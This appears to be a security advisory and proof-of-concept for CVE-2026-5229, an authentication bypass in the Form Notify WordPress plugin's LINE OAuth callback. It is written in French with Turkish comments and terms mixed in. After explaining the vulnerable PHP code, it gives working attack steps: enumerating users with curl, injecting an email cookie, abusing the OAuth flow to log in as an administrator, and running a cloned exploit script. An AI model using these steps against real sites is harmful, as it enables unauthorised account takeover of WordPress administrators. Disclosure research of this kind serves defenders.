
CVE-2026-5229: Contournement de l'authentification Form Notify via le callback OAuth LINE (CVSS 9.8)
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
Plugin: Form Notify (
form-notify) Type de vulnérabilité : Unauthenticated LINE OAuth Authentication Bypass → Account Takeover Score CVSS : 9.8 (Critique) Vecteur CVSS :CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HVersions affectées : <= 1.1.10 Version corrigée : 1.1.11+ Chercheur : Paolo Tresso — Wordfence
Le plugin Form Notify est un plugin WordPress qui envoie des notifications après la soumission de formulaires et propose une intégration LINE Login OAuth 2.0.
La vulnérabilité se situe dans le gestionnaire de callback OAuth de LINE. Une fois que l'utilisateur a terminé le flux d'autorisation LINE, le plugin résout le compte WordPress uniquement en fonction de l'adresse email. Il ne vérifie jamais si le compte LINE a déjà été associé à ce compte WordPress.
| Version | Vulnérabilité | Méthode d'attaque |
|---|---|---|
| <= 1.1.08 | Injection de cookie + Correspondance email | Chemin A ou Chemin B |
| 1.1.09 – 1.1.10 | Correspondance email (cookie supprimé) | Chemin B |
| 1.1.11+ | Corrigé | — |
L'endpoint de callback OAuth LINE est enregistré comme étant entièrement public :
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
Les nonces WordPress sont des jetons CSRF, pas des jetons d'authentification. Chaque visiteur peut obtenir un nonce valide depuis le HTML de la page et réussir le contrôle de vérification.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
Si une correspondance est trouvée, la méthode login() ouvre immédiatement une session :
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Lorsque le profil LINE ne renvoie pas d'email ($user->email vide), le plugin lit directement le cookie du navigateur. L'attaquant contrôle entièrement ce cookie.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Si la transient a expiré, le repli sur $_SESSION prend le relais. Dans la plupart des installations WordPress, $_SESSION n'est pas rempli à ce stade → le contrôle du state peut être contourné.
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
Sur les comptes créés via le flux OAuth LINE, le mot de passe est identique à l'adresse email. Cela permet directement une attaque par force brute ou par connexion.
| Raison | Description |
|---|---|
| Aucune authentification requise | L'endpoint de callback est entièrement public |
| Aucun contrôle de liaison | N'importe quel compte LINE suffit |
| Attaque par cookie | Email même pas nécessaire sur <= 1.1.08 |
| Tous les comptes, y compris admin | get_user_by('email') affecte tout le monde |
| Contrôle du state faible | La protection CSRF peut être contournée |
| Email = Mot de passe | Les comptes créés via OAuth sont vulnérables à une force brute triviale |
⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.
Prérequis :
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
Ouvre les outils de développement du navigateur et colle dans la console :
document.cookie = "[email protected]; path=/";
Ou avec curl :
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Ouvre l'URL OAuth LINE présente dans le header Location dans le navigateur.
Sur l'écran de consentement LINE, n'accorde pas l'autorisation email, ou utilise un compte LINE sans email. LINE redirige vers le callback sans email. Le plugin retombe sur le cookie.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Réponse attendue :
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Identique à l'étape 1 du chemin A.
Crée un compte LINE avec l'email cible sur account.line.biz. (Nécessite une vérification email — l'accès à la boîte de réception cible est indispensable.)
https://target.com/wp-json/form-notify/v1/login
Sur l'écran de consentement LINE, accorde l'autorisation email. LINE renvoie l'adresse email au callback.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A